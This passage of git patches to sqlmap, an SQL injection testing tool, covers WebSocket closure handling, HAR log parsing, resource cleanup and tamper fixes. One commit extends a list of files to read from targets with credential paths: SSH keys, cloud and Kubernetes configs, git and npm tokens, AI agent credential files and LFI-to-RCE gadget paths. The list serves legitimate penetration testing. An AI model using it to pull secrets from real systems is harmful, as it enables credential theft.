+ Connect.getPage = _GET_PAGE + cases = ( + ("ws://example.test:8080/test", [], None, None, None, False, "example.test:8080"), + ("ws://user:pass@example.test:8080/test", [], None, None, None, False, "example.test:8080"), + ("ws://example.test:8080/test", [('hOsT', 'configured.example')], None, None, None, False, "configured.example"), + ("ws://example.test:8080/test", [('Host', 'configured.example')], "override.example:8443", None, None, False, "override.example:8443"), + ("ws://example.test:8080/test", [], None, {'Host': 'aux.example'}, None, False, "aux.example"), + ("ws://example.test:8080/test", [], None, None, headersFile, False, "file.example"), + ("ws://example.test:8080/test", [], None, None, None, True, "localhost"), + ) + for url, headers, host, aux, path, localhost, expected in cases: + conf.url = url + conf.httpHeaders = headers + conf.localhost, kb.headersFile = localhost, path + self.assertEqual(Connect.getPage(url=url, host=host, auxHeaders=aux)[0], "ok") + hostLines = [line for line in sockets[-1].handshake.split(b"\r\n") if line.lower().startswith(b"host:")] + self.assertEqual(len(hostLines), 1) + self.assertEqual(hostLines[0].split(b":", 1)[1].strip(), expected.encode("ascii")) + finally: + Connect.getPage = oldGetPage + W.socket.create_connection = original + socket.setdefaulttimeout(oldTimeout) + conf.clear(); conf.update(oldConf) + kb.clear(); kb.update(oldKb) + threadData.__dict__.clear(); threadData.__dict__.update(oldThreadData) + os.unlink(headersFile) + if __name__ == "__main__": unittest.main() From b333a14d8ba5de058a28e4e4d6391fe57ca8f0b6 Mon Sep 17 00:00:00 2001 From: cuteNBD <2905153124@qq.com> Date: Wed, 4 Nov 2026 17:18:29 +0800 Subject: [PATCH 040/126] Keep WebSocket responses on normal closure (#6173) Co-authored-by: cuteNBD <206630735+bingdongni@users.noreply.github.com> --- lib/request/connect.py | 8 +- lib/request/websocket.py | 8 ++ tests/test_websocket_response.py | 124 +++++++++++++++++++++++++++++++ 3 files changed, 136 insertions(+), 4 deletions(-) create mode 100644 tests/test_websocket_response.py diff --git a/lib/request/connect.py b/lib/request/connect.py index d6c043608..4d292ed15 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -619,17 +619,17 @@ class Connect(object): warnMsg = "too large websocket response detected. Automatically trimming it" singleTimeWarnMessage(warnMsg) break - except websocket.WebSocketTimeoutException: + except (websocket.WebSocketTimeoutException, websocket.WebSocketNormalClosureException): kb.webSocketRecvCount = len(_page) break else: for i in xrange(max(1, kb.webSocketRecvCount)): # Note: a later response may carry fewer frames than the calibration one - # (e.g. a FALSE boolean-blind reply); stop on timeout instead of letting it - # bubble up as a failed request, mirroring the initial recv loop above + # (e.g. a FALSE boolean-blind reply); stop on timeout or normal closure, + # mirroring the initial recv loop above try: _page.append(ws.recv()) - except websocket.WebSocketTimeoutException: + except (websocket.WebSocketTimeoutException, websocket.WebSocketNormalClosureException): break page = "\n".join(_page) diff --git a/lib/request/websocket.py b/lib/request/websocket.py index 9cb43ed2c..f771a939b 100644 --- a/lib/request/websocket.py +++ b/lib/request/websocket.py @@ -39,6 +39,9 @@ class WebSocketTimeoutException(WebSocketException): class WebSocketConnectionClosedException(WebSocketException): pass +class WebSocketNormalClosureException(WebSocketConnectionClosedException): + pass + class WebSocket(object): """ Minimal RFC 6455 client exposing the websocket-client subset used by sqlmap: settimeout(), connect(), @@ -159,10 +162,14 @@ class WebSocket(object): def recv(self): data = bytearray() + receivedFragment = False while True: fin, opcode, payload = self._recvFrame() if opcode == OPCODE_CLOSE: self._closed = True + normal = not payload or (len(payload) >= 2 and struct.unpack("!H", bytes(payload[:2]))[0] in (1000, 1001)) + if normal and not receivedFragment: + raise WebSocketNormalClosureException("WebSocket connection closed") raise WebSocketConnectionClosedException("WebSocket connection closed") elif opcode == OPCODE_PING: self._sendFrame(bytes(payload), OPCODE_PONG) @@ -171,6 +178,7 @@ class WebSocket(object): continue data += payload + receivedFragment = True if fin: break diff --git a/tests/test_websocket_response.py b/tests/test_websocket_response.py new file mode 100644 index 000000000..0d56c95ed --- /dev/null +++ b/tests/test_websocket_response.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import hashlib +import os +import socket +import struct +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf, kb +from lib.core.exception import SqlmapConnectionException +from lib.core.option import _setKnowledgeBaseAttributes +from lib.core.threads import getCurrentThreadData +from lib.request.connect import Connect +import lib.request.websocket as websocket + +_GET_PAGE = Connect.__dict__["getPage"] + + +def _frame(payload, opcode=1, fin=1): + return bytes(bytearray([(fin << 7) | opcode, len(payload)])) + payload + + +class _Socket(object): + def __init__(self, frames): + self.frames = frames + self.response = b"" + self.handshake = None + + def settimeout(self, value): + pass + + def sendall(self, data): + if self.handshake is None: + self.handshake = data + key = next(line.split(b":", 1)[1].strip() for line in data.split(b"\r\n") if line.lower().startswith(b"sec-websocket-key:")) + accept = base64.b64encode(hashlib.sha1(key + websocket._GUID.encode("ascii")).digest()) + self.response = b"HTTP/1.1 101 Switching Protocols\r\nSec-WebSocket-Accept: " + accept + b"\r\n\r\n" + self.frames + + def recv(self, size): + result, self.response = self.response[:size], self.response[size:] + return result + + def close(self): + pass + + +class TestWebSocketResponseClose(unittest.TestCase): + def setUp(self): + self.oldConf, self.oldKb = dict(conf), dict(kb) + self.threadData = getCurrentThreadData() + self.oldThreadData = dict(self.threadData.__dict__) + self.oldTimeout = socket.getdefaulttimeout() + self.oldSocket = websocket.socket.create_connection + self.oldGetPage = Connect.__dict__["getPage"] + self.threadData.__dict__.clear() + self.threadData.reset() + _setKnowledgeBaseAttributes(False) + kb.wizardMode = True + conf.url = "ws://example.test:8080/test" + conf.hostname, conf.scheme, conf.port, conf.path = "example.test", "ws", 8080, "/test" + conf.httpHeaders, conf.parameters, conf.data = [], {}, None + conf.abortCode, conf.ignoreCode = [], [] + conf.timeout, conf.batch, conf.keepAlive, conf.retries = 3, True, False, 0 + conf.retryOn, conf.ignoreRedirects, conf.scope = None, False, None + Connect.getPage = _GET_PAGE + websocket.socket.create_connection = lambda *args, **kwargs: _Socket(self.frames) + + def tearDown(self): + Connect.getPage = self.oldGetPage + websocket.socket.create_connection = self.oldSocket + socket.setdefaulttimeout(self.oldTimeout) + conf.clear(); conf.update(self.oldConf) + kb.clear(); kb.update(self.oldKb) + self.threadData.__dict__.clear(); self.threadData.__dict__.update(self.oldThreadData) + + def test_normal_close_after_response(self): + for status in (b"", struct.pack("!H", 1000), struct.pack("!H", 1001)): + for count in (None, 3): + self.frames = _frame(b"one") + _frame(b"two") + _frame(status, opcode=8) + kb.webSocketRecvCount = count + self.assertEqual(Connect.getPage(url=conf.url)[0], "one\ntwo") + if count is None: + self.assertEqual(kb.webSocketRecvCount, 2) + + def test_normal_close_without_response(self): + self.frames = _frame(struct.pack("!H", 1000), opcode=8) + kb.webSocketRecvCount = None + self.assertEqual(Connect.getPage(url=conf.url)[0], "") + self.assertEqual(kb.webSocketRecvCount, 0) + + def test_abnormal_close_remains_an_error(self): + for status in (b"\x03", struct.pack("!H", 1002), struct.pack("!H", 1011)): + self.frames = _frame(b"one") + _frame(status, opcode=8) + for count in (None, 3): + kb.webSocketRecvCount = count + self.assertRaises(SqlmapConnectionException, Connect.getPage, url=conf.url) + + def test_truncated_frame_remains_an_error(self): + for frames in (_frame(b"one"), _frame(b"one") + b"\x81\x05ab"): + self.frames = frames + for count in (None, 3): + kb.webSocketRecvCount = count + self.assertRaises(SqlmapConnectionException, Connect.getPage, url=conf.url) + + def test_close_during_fragmented_message_remains_an_error(self): + for fragment in (b"", b"partial"): + self.frames = _frame(fragment, fin=0) + _frame(struct.pack("!H", 1000), opcode=8) + kb.webSocketRecvCount = None + self.assertRaises(SqlmapConnectionException, Connect.getPage, url=conf.url) + + +if __name__ == "__main__": + unittest.main() From f65de0e89015eaa1a7ccb228f375aadf3d88c492 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 4 Nov 2026 10:20:01 +0100 Subject: [PATCH 041/126] Minor update --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- lib/request/websocket.py | 6 +++--- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b067c067e..fcdf5d14e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.4" +VERSION = "1.10.11.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 4d292ed15..c97c3244d 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -606,7 +606,7 @@ class Connect(object): try: ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper()) - ws.connect(url, header=wsHeaders, cookie=cookie, host_header=getHeader(headers, HTTP_HEADER.HOST) if customWsHost else None) + ws.connect(url, header=wsHeaders, cookie=cookie, hostHeader=getHeader(headers, HTTP_HEADER.HOST) if customWsHost else None) ws.send(urldecode(post or "")) _page = [] diff --git a/lib/request/websocket.py b/lib/request/websocket.py index f771a939b..8f579d3e1 100644 --- a/lib/request/websocket.py +++ b/lib/request/websocket.py @@ -61,7 +61,7 @@ class WebSocket(object): if self.sock is not None: self.sock.settimeout(timeout) - def connect(self, url, header=None, cookie=None, host_header=None): + def connect(self, url, header=None, cookie=None, hostHeader=None): parts = _urllib.parse.urlsplit(url) secure = parts.scheme == "wss" host = parts.hostname @@ -78,8 +78,8 @@ class WebSocket(object): hostport = "[%s]" % host if ":" in host else host # bracket IPv6 literals if port != (443 if secure else 80): # Note: only the scheme's own default port gets omitted hostport = "%s:%d" % (hostport, port) - if host_header is not None: - hostport = getText(host_header) + if hostHeader is not None: + hostport = getText(hostHeader) key = getText(base64.b64encode(os.urandom(16))) lines = ["GET %s HTTP/1.1" % resource, From 202d8cc1c4d3e7f76e123417674ab713c8a2c9af Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 6 Nov 2026 09:15:14 +0100 Subject: [PATCH 042/126] Adding some more entries into common files list --- data/txt/common-files.txt | 65 +++++++++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- 2 files changed, 66 insertions(+), 1 deletion(-) diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index 1e378d3c4..97c218e53 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -1818,6 +1818,8 @@ /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /run/secrets/kubernetes.io/serviceaccount/ca.crt +/etc/kubernetes/admin.conf +/etc/kubernetes/kubelet.conf # Cloud provider credentials @@ -1825,7 +1827,9 @@ /root/.aws/config /root/.config/gcloud/application_default_credentials.json /root/.config/gcloud/credentials.db +/root/.config/gcloud/access_tokens.db /root/.azure/accessTokens.json +/root/.azure/credentials /root/.kube/config # SSH keys and DB/tool history @@ -1834,6 +1838,10 @@ /root/.ssh/id_ed25519 /root/.ssh/id_ecdsa /root/.ssh/id_dsa +/root/.ssh/config +/etc/ssh/ssh_host_rsa_key +/etc/ssh/ssh_host_ed25519_key +/etc/ssh/ssh_host_ecdsa_key /root/.mysql_history /root/.psql_history /root/.rediscli_history @@ -1852,3 +1860,60 @@ /app/application.properties /app/application.yml /app/docker-compose.yml + +# Developer, package manager and DBMS credential files + +/root/.env +/root/.netrc +/root/.git-credentials +/root/.npmrc +/root/.pypirc +/root/.docker/config.json +/root/.config/gh/hosts.yml +/root/.config/op/config +/root/.my.cnf +/etc/mysql/debian.cnf + +# Hosting control panels + +/etc/psa/.psa.shadow +/etc/psa/private/secret_key + +# AI agent credentials + +/root/.claude/.credentials.json +/root/.claude.json +/root/.codex/auth.json +/root/.config/anthropic/config.json + +# Secrets in the default user's home on common cloud images + +/home/ubuntu/.ssh/id_rsa +/home/ubuntu/.aws/credentials +/home/ubuntu/.kube/config +/home/ubuntu/.git-credentials +/home/ubuntu/.claude/.credentials.json +/home/debian/.ssh/id_rsa +/home/debian/.aws/credentials +/home/debian/.kube/config +/home/debian/.git-credentials +/home/admin/.ssh/id_rsa +/home/admin/.aws/credentials +/home/admin/.kube/config +/home/admin/.git-credentials +/home/ec2-user/.ssh/id_rsa +/home/ec2-user/.aws/credentials +/home/ec2-user/.kube/config +/home/ec2-user/.git-credentials +/home/centos/.ssh/id_rsa +/home/centos/.aws/credentials +/home/centos/.kube/config +/home/opc/.ssh/id_rsa +/home/opc/.aws/credentials +/home/opc/.kube/config + +# Appliance and LFI-to-RCE gadget targets + +/dev/cmdb/sslvpn_websession +/usr/share/php/pearcmd.php +/usr/local/lib/php/pearcmd.php diff --git a/lib/core/settings.py b/lib/core/settings.py index fcdf5d14e..3c59d8acb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.5" +VERSION = "1.10.11.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 097f4d2c37ba3db4dad22377e06a5be1edae3130 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 6 Nov 2026 15:03:08 +0100 Subject: [PATCH 043/126] Fixes #6176 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 7231fa229..6a4ecd97b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4066,7 +4066,7 @@ def decodeIntToUnicode(value): """ retVal = value - if isinstance(value, int): + if isinstance(value, six.integer_types): try: if value > 255: _ = "%x" % value diff --git a/lib/core/settings.py b/lib/core/settings.py index 3c59d8acb..f0f18be3a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.6" +VERSION = "1.10.11.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 397a3bde2e2c2a07680dd9402b16cb37d3721027 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 6 Nov 2026 15:31:35 +0100 Subject: [PATCH 044/126] Implements #6177 --- lib/core/common.py | 20 ++++++++++++++++++-- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- sqlmap.conf | 4 ++-- tests/test_common.py | 17 +++++++++++++++++ 5 files changed, 39 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6a4ecd97b..4b8c8abee 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5645,7 +5645,7 @@ def pollProcess(process, suppress_errors=False): def parseRequestFile(reqFile, checkParams=True): """ - Parses WebScarab and Burp logs and adds results to the target URL list + Parses WebScarab, Burp and HAR logs and adds results to the target URL list >>> handle, reqFile = tempfile.mkstemp(suffix=".req") >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n" @@ -5689,7 +5689,23 @@ def parseRequestFile(reqFile, checkParams=True): Parses Burp logs """ - if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): + if re.search(r"\A\s*\{.*\"entries\"", content[:1000], re.S): + reqResList = [] + try: + entries = json.loads(content)["log"]["entries"] + except (ValueError, KeyError, TypeError): + entries = [] + for entry in entries: # Note: HAR (HTTP Archive) logs (e.g. ZAP, browsers) - re-serialized into raw requests + try: + request = entry["request"] + url = request["url"] + headers = [(_["name"], _["value"]) for _ in request.get("headers", []) if not _["name"].startswith(':')] + if not any(_[0].upper() == HTTP_HEADER.HOST.upper() for _ in headers): + headers.insert(0, (HTTP_HEADER.HOST, _urllib.parse.urlsplit(url).netloc)) + reqResList.append("%s %s HTTP/1.1\n%s\n\n%s" % (request["method"], url, "\n".join("%s: %s" % _ for _ in headers), (request.get("postData") or {}).get("text") or "")) + except (KeyError, TypeError, AttributeError): + continue + elif not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): reqResList = [] for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): diff --git a/lib/core/settings.py b/lib/core/settings.py index f0f18be3a..5ab376503 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.7" +VERSION = "1.10.11.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index da15f83fe..75cb725aa 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -130,7 +130,7 @@ def cmdLineParser(argv=None): help="Connection string for direct database connection") target.add_argument("-l", dest="logFile", - help="Parse target(s) from Burp or WebScarab proxy log file") + help="Parse target(s) from Burp, WebScarab or HAR log file") target.add_argument("-m", dest="bulkFile", help="Scan multiple targets given in a textual file") diff --git a/sqlmap.conf b/sqlmap.conf index b6bbb7d5f..9af192c95 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -12,10 +12,10 @@ url = # oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID direct = -# Parse targets from Burp or WebScarab logs +# Parse targets from Burp, WebScarab or HAR logs # Valid: Burp proxy (http://portswigger.net/suite/) requests log file path # or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) -# 'conversations/' folder path +# 'conversations/' folder path or HAR (HTTP Archive) file path logFile = # Scan multiple targets enlisted in a given textual file diff --git a/tests/test_common.py b/tests/test_common.py index a17ecd668..a346caa99 100644 --- a/tests/test_common.py +++ b/tests/test_common.py @@ -21,6 +21,7 @@ stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. import atexit import base64 +import json import os import shutil import sys @@ -537,6 +538,22 @@ class TestParseRequestFileBurp(unittest.TestCase): self.assertEqual([_[0] for _ in targets], ["https://www.target.com:8443/vuln.php?id=1", "http://www.target.com:443/vuln.php?id=1", "https://www.target.com:443/vuln.php?id=1", "http://www.target.com:8080/vuln.php?id=1"]) self.assertTrue(all("://" not in value for _ in targets for key, value in _[4] if key == "Host")) + def test_har_log(self): + # Note: HAR (HTTP Archive) logs (e.g. ZAP, browsers), including HTTP/2 entries (pseudo-headers, no Host) + entries = [ + {"request": {"method": "GET", "url": "https://www.target.com:8443/vuln.php?id=1", "headers": [{"name": "Host", "value": "www.target.com:8443"}, {"name": "Cookie", "value": "SID=xyz"}]}}, + {"request": {"method": "POST", "url": "https://www.target.com/api", "headers": [{"name": ":authority", "value": "www.target.com"}, {"name": "content-type", "value": "application/json"}], "postData": {"text": '{"id": 1}'}}}, + {"request": {"method": "GET", "url": "https://www.target.com/logo.png", "headers": []}}, + ] + path = _write_temp(json.dumps({"log": {"version": "1.2", "entries": entries}}), ".har") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual([_[:4] for _ in targets], [("https://www.target.com:8443/vuln.php?id=1", HTTPMETHOD.GET, None, "SID=xyz"), ("https://www.target.com/api", HTTPMETHOD.POST, '{"id": 1}', None)]) + self.assertEqual(targets[1][4], (("Host", "www.target.com"), ("content-type", "application/json"))) + def test_post_body_captured(self): content = ( "======================================================\n" From eca9ff2e134f66a69fa64b1715b9cfcf9a1164bc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 10 Nov 2026 15:10:16 +0100 Subject: [PATCH 045/126] Fixes #6180 --- lib/core/settings.py | 2 +- lib/utils/hash.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 5ab376503..125c1a0e2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.8" +VERSION = "1.10.11.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index ee3af594c..e23223b6b 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1380,7 +1380,8 @@ def dictionaryAttack(attack_dict): else: try: if multiprocessing.cpu_count() > 1: - _multiprocessing = multiprocessing + # Note: 'forkserver' (POSIX default since Python 3.14) re-imports the main script, which breaks for pip installs (#6180) + _multiprocessing = multiprocessing.get_context("fork") if "fork" in getattr(multiprocessing, "get_all_start_methods", lambda: ())() else multiprocessing except NotImplementedError: pass From cb5216564aa94f3f2f64dad732cf3edc2d762081 Mon Sep 17 00:00:00 2001 From: Piyush satyarthi <2025191453.piyush@ug.sharda.ac.in> Date: Thu, 12 Nov 2026 14:16:10 +0530 Subject: [PATCH 046/126] Close leaked sqlite3 connections (ResourceWarning on Python 3.13+) (#6181) Python 3.13+ reports sqlite3 connections that are garbage collected without being closed. The unit tests print a run of "ResourceWarning: unclosed database" lines on Linux/CPython 3.14: - SQLAlchemy.close() only returned its connection to the engine's pool, so the underlying DBAPI connection (e.g. sqlite3 for '-d sqlite://...') stayed open. Dispose the engine on close. - vulnTest() used "with sqlite3.connect(...)", which commits but does not close the connection. Use contextlib.closing(). - test_multibit and test_sqlalchemy never closed what they opened. Co-authored-by: PiyushSatyarthi <244159432+PiyushSatyarthi@users.noreply.github.com> --- lib/core/testing.py | 5 ++++- lib/utils/sqlalchemy.py | 15 +++++++++++++++ tests/test_multibit.py | 16 +++++++++++----- tests/test_sqlalchemy.py | 1 + 4 files changed, 31 insertions(+), 6 deletions(-) diff --git a/lib/core/testing.py b/lib/core/testing.py index 4b74b909b..2923314c8 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import contextlib import doctest import json import logging @@ -206,9 +207,11 @@ def vulnTest(tests=None, label="vuln"): os.close(handle) cleanups.append(database) - with sqlite3.connect(database) as conn: + # Note: sqlite3's own context manager only commits (it does not close the connection) + with contextlib.closing(sqlite3.connect(database)) as conn: c = conn.cursor() c.executescript(vulnserver.SCHEMA) + conn.commit() handle, request = tempfile.mkstemp(suffix=".req") os.close(handle) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 34c377c5a..9ca71c2e0 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -50,6 +50,7 @@ class SQLAlchemy(GenericConnector): self.dialect = dialect self.address = conf.direct + self.engine = None if conf.dbmsUser: self.address = self.address.replace("'%s':" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser)) @@ -84,6 +85,7 @@ class SQLAlchemy(GenericConnector): else: engine = _sqlalchemy.create_engine(self.address, connect_args={}) + self.engine = engine self.connector = engine.connect() except (TypeError, ValueError) as ex: if "_get_server_version_info" in traceback.format_exc(): @@ -110,6 +112,19 @@ class SQLAlchemy(GenericConnector): else: raise SqlmapMissingDependence("SQLAlchemy not available (e.g. 'pip%s install SQLAlchemy')" % ('3' if six.PY3 else "")) + def close(self): + try: + GenericConnector.close(self) + finally: + # Note: closing the connection only returns it to the engine's pool (the underlying DBAPI + # connection, e.g. sqlite3, stays open) - disposing the engine is what actually releases it + if self.engine is not None: + try: + self.engine.dispose() + except Exception as ex: + logger.debug(getSafeExString(ex)) + self.engine = None + def fetchall(self): try: retVal = [] diff --git a/tests/test_multibit.py b/tests/test_multibit.py index c69d6b6f5..b51cf5c41 100644 --- a/tests/test_multibit.py +++ b/tests/test_multibit.py @@ -140,8 +140,14 @@ class MultibitTest(unittest.TestCase): multibit._page = self._savedPage multibit.singleTimeWarnMessage, multibit.singleTimeLogMessage = _SAID - def _attempt(self, secret, length=None, **kwargs): + def _target(self, secret, **kwargs): target = _Target(secret, **kwargs) + self.addCleanup(target.db.close) + + return target + + def _attempt(self, secret, length=None, **kwargs): + target = self._target(secret, **kwargs) multibit._page = target.page return self._read(target, secret, length), target @@ -231,7 +237,7 @@ class MultibitTest(unittest.TestCase): # non-ASCII one, and one whose codepoint has an ASCII low byte (U+0141 -> 0x41 'A') all settle # nothing, and none of them may condemn a channel that calibrated cleanly for first in ("", u"\u017eaba pod vodom", u"\u0141ukasz Nowak here"): - target = _Target(first) + target = self._target(first) self.assertIsNone(self._read(target, first, len(first) or None)) good = target.secret("plain ascii value that must still come back") @@ -242,7 +248,7 @@ class MultibitTest(unittest.TestCase): # what the channel did - i.e. exactly the way a channel dropping rows fails it. That is the # data's doing, and a handful of NULLs in one dump must not retire a working channel first = "first value is perfectly readable ascii" - target = _Target(first) + target = self._target(first) self.assertEqual(self._read(target, first, len(first)), first) for _ in range(MULTIBIT_MAX_FAILURES + 1): @@ -253,7 +259,7 @@ class MultibitTest(unittest.TestCase): self.assertEqual(self._read(target, good, len(good)), good) def test_unreadable_value_mid_run_keeps_the_channel(self): - target = _Target("first value is perfectly readable ascii") + target = self._target("first value is perfectly readable ascii") self.assertEqual(self._read(target, "first value is perfectly readable ascii", 39), "first value is perfectly readable ascii") bad = target.secret(u"\u0141ukasz") # reads back as "Aukasz" - right length, wrong char @@ -295,7 +301,7 @@ class MultibitTest(unittest.TestCase): def test_resumed_partial_value_is_left_to_bisection(self): # a resumed value starts mid-string, and multi-bit reads from the first character: it would # re-read what is already cached and then fail its own length read-back - target = _Target("resuming this one is bisection's job") + target = self._target("resuming this one is bisection's job") multibit._page = target.page self.assertIsNone(multibit.attempt("SELECT s FROM v", lambda idx: 'x', 35, None, True)) diff --git a/tests/test_sqlalchemy.py b/tests/test_sqlalchemy.py index 768c12411..a531c5219 100644 --- a/tests/test_sqlalchemy.py +++ b/tests/test_sqlalchemy.py @@ -58,6 +58,7 @@ class TestSQLAlchemySqlitePath(unittest.TestCase): sa = SQLAlchemy(dialect="sqlite") sa.connect() + self.addCleanup(sa.close) # the reformatted URL must resolve to the exact absolute file (not '//...path') self.assertEqual(_sa.engine.url.make_url(sa.address).database, os.path.abspath(dbfile)) From 161af41c9c3549469bdab729173a341c91210b01 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 11:49:07 +0100 Subject: [PATCH 047/126] Fix for chained tamper hints (e.g. luanginx,space2comment) --- lib/core/settings.py | 2 +- lib/request/connect.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 125c1a0e2..b3ee54790 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.9" +VERSION = "1.10.11.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index c97c3244d..5b5207b9c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1245,8 +1245,9 @@ class Connect(object): delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) if not disableTampering and kb.tamperFunctions: + hints = {} # Note: shared among all tamper functions (e.g. 'luanginx,space2comment' must keep the former's HINT.PREPEND) + for function in kb.tamperFunctions: - hints = {} try: payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints) From 3c2384525cee0364634d643bbb69759fb43fb123 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 11:49:07 +0100 Subject: [PATCH 048/126] Fix for --param-del being URL encoded in POST payload requests --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 2 files changed, 2 insertions(+), 2 